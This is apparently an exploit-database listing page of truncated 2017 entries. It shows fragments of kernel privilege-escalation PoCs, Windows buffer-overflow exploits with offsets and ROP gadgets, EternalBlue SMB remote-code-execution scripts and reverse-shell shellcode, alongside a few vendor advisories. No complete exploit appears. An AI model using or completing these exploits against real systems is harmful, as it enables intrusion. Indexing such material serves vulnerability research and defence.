FreeBSD -- Kernel data leak via ptrace(PT_LWPINFO)

Problem Description: Not all information in the struct ptracelwpinfo is relevant for the state of any thread, and the kernel does not fill the irrelevant bytes or short strings. Since the structure filled by the kernel is allocated on the kernel stack and copied to userspace, a leak of informatio...

Linux Kernel 4.1.3 (Ubuntu 17.10) waitid() SMEP/SMAP Privilege Escalation

// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13 // By Chris Salls twitter.com/chrissalls // This exploit can be used to break out out of sandboxes such as that in google chrome // In this proof of concept we install the seccomp filter from chrome as well as a chroot, //...

Linux Kernel 4.13 (Ubuntu 17.10) - 'waitid()' SMEP/SMAP/Chrome Sandbox Privilege Escalation

// Proof of concept exploit for waitid bug introduced in Linux Kernel 4.13 // By Chris Salls twitter.com/chrissalls // This exploit can be used to break out out of sandboxes such as that in google chrome // In this proof of concept we install the seccomp filter from chrome as well as a chroot, //...

GraphicsMagick - Memory Disclosure Heap Overflow

GraphicsMagick - Memory Disclosure Heap Overflow '''Vulnerabilities summary The following advisory describes two 2 vulnerabilities found in GraphicsMagick. GraphicsMagick is “The swiss army knife of image processing. Comprised of 267K physical lines according to David A. Wheeler’s SLOCCount of...

Linux Kernel 4.14.0-rc4+ - 'waitid()' Privilege Escalation(CVE-2017-5123)

This is a guest post by a young and talented Portuguese exploiter, Federico Bento. He won this year’s Pwnie for Epic Achievement exploiting TIOCSTI ioctl. Days ago he posted a video demonstrating an exploit for CVE-2017-5123 and luckly for you I managed to convince him to do a write-up about it. ...

ASX to MP3 converter < 3.1.3.7 - Stack Overflow (DEP Bypass) Exploit

Exploit for windows platform in category local exploits import struct,sys head =''' REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes''' offset 17375 junk = "A" 17375 0x1003df8e 0x774e1035 EIP="\x36\x10\x4e\x77" adjust="A" 4 def createropchain: ropgadgets = 0x73dd5dce, POP EAX RETN...

ASX to MP3 converter < 3.1.3.7 - '.asx' Local Stack Overflow (DEP Bypass)

import struct,sys head =''' REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes''' offset 17375 junk = "A" 17375 0x1003df8e 0x774e1035 EIP="\x36\x10\x4e\x77" adjust="A" 4 def createropchain: ropgadgets = 0x73dd5dce, POP EAX RETN MFC42.DLL 0x5d091368, ptr to &VirtualProtect IAT COMCTL32.dll...

DiskBoss Enterprise 8.4.16 - Local Buffer Overflow Exploit

Exploit for windows platform in category local exploits !/usr/bin/python ======================================================================================================================== Exploit Author: C4t0ps1s Exploit Title: DiskBoss Enterprise v8.4.16 Local Buffer OverflowCode execution...

Dup Scout Enterprise 10.0.18 - Import Command Local Buffer Overflow

Dup Scout Enterprise 10.0.18 - Import Command Local Buffer Overflow !/usr/bin/python ======================================================================================================================== Exploit Author: Touhid M.Shaikh Exploit Title: Dup Scout Enterprise v10.0.18 "Import Comman...

DEBIAN-CVE-2017-11714

psi/ztoken.c in Artifex Ghostscript 9.21 mishandles references to the scanner state structure, which allows remote attackers to cause a denial of service application crash or possibly have unspecified other impact via a crafted PostScript document, related to an out-of-bounds read in the...

Counter Strike Condition Zero - .BSP Map File Code Execution Exploit

Exploit for windows platform in category local exploits !/usr/bin/env python Counter Strike: Condition Zero BSP map exploit By @DigitalCold Jun 11, 2017 E-DB Note: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42325.zip bsp-exploit-source.zip from binascii...

Easy File Sharing 7.2 Buffer Overflow

!/usr/bin/python Exploit Title: Easy File Sharing Web Server 7.2 - 'POST' Buffer Overflow DEP Bypass with ROP Exploit Author: bl4ck h4ck3r Software Link: http://www.sharing-file.com/efssetup.exe Version: Easy File Sharing Web Server v7.2 Tested on: Windows XP SP2, Windows 2008 R2 x64 import socke...

kernel security, bug fix, and enhancement update

3.10.0-514.21.1.OL7 - Oracle Linux certificates Alexey Petrenko - Oracle Linux RHCK Module Signing Key was compiled into kernel [email protected] - Update x509.genkey bug 24817676 3.10.0-514.21.1 - kernel sched/core: Fix an SMP ordering race in trytowakeup vs...

Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)

!/usr/bin/python from impacket import smb, ntlm from struct import pack import sys import socket ''' EternalBlue exploit for Windows 8 and 2012 by sleepya The exploit might FAIL and CRASH a target system depended on what is overwritten The exploit support only x64 target EDB Note: Shellcode - x64...

Microsoft Windows 72008 R2 - EternalBlue SMB Remote Code Execution (MS17-010)

Microsoft Windows 72008 R2 - EternalBlue SMB Remote Code Execution MS17-010 !/usr/bin/python from impacket import smb from struct import pack import sys import socket ''' EternalBlue exploit for Windows 7/2008 by sleepya The exploit might FAIL and CRASH a target system depended on what is...

Linux/x86-64 - Reverse Shell Shellcode (IPv6) (113 bytes)

BITS 64 ; reverse ip6 tcp shell ; size = 113 bytes depends of ip addr, default is ::1 ; nullbytes free depends only on ip addr, ; you could always and the ip add to remove ; the nulls like i did with the port ; it sleeps and then tries to recconect default 3 seconds ; ;shell =...

Heap Overflow Vulnerability in Citrix NetScaler Gateway (CVE-2017-7219)

After presenting my findings on the Swisscom router at the CybSecConference last year, I started looking for a new product to analyze. I quickly found that it’s possible to download virtual “demo” appliances of Citrix products, so I went on to download a Netscaler VPX, which at the time was at...

VirusChaser 8.0 Buffer Overflow

Exploit Title: Virus Chaser 8.0 - Scanner component, SEH Overflow Date: 14 April 2017 Exploit Author: 0x41Li [email protected] Vendor Homepage: https://www.viruschaser.com/ Software Link: https://www.viruschaser.com/download/VC80b32Setup.zip Tested on: Windows 7 Universal import os from struct...

macOS / iOS Kernel 10.12.3 (16D32) - Bad Locking in necp_open Use-After-Free Exploit

Exploit for multiple platform in category dos / poc / Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1116 necpopen is a syscall used to obtain a new necp file descriptor The necp file's fp's fgdata points to a struct necpfddata allocated on the heap. Here's the relevant code fr...

DiskBoss Enterprise 7.8.16 - Import Command Local Buffer Overflow

DiskBoss Enterprise 7.8.16 - Import Command Local Buffer Overflow !/usr/bin/env python Exploit Title: DiskBoss Enterprise v7.8.16 - 'Import Command' Buffer Overflow Date: 2017-03-29 Exploit Author: Daniel Teixeira Author Homepage: www.danielteixeira.com Vendor Homepage: http://www.diskboss.com...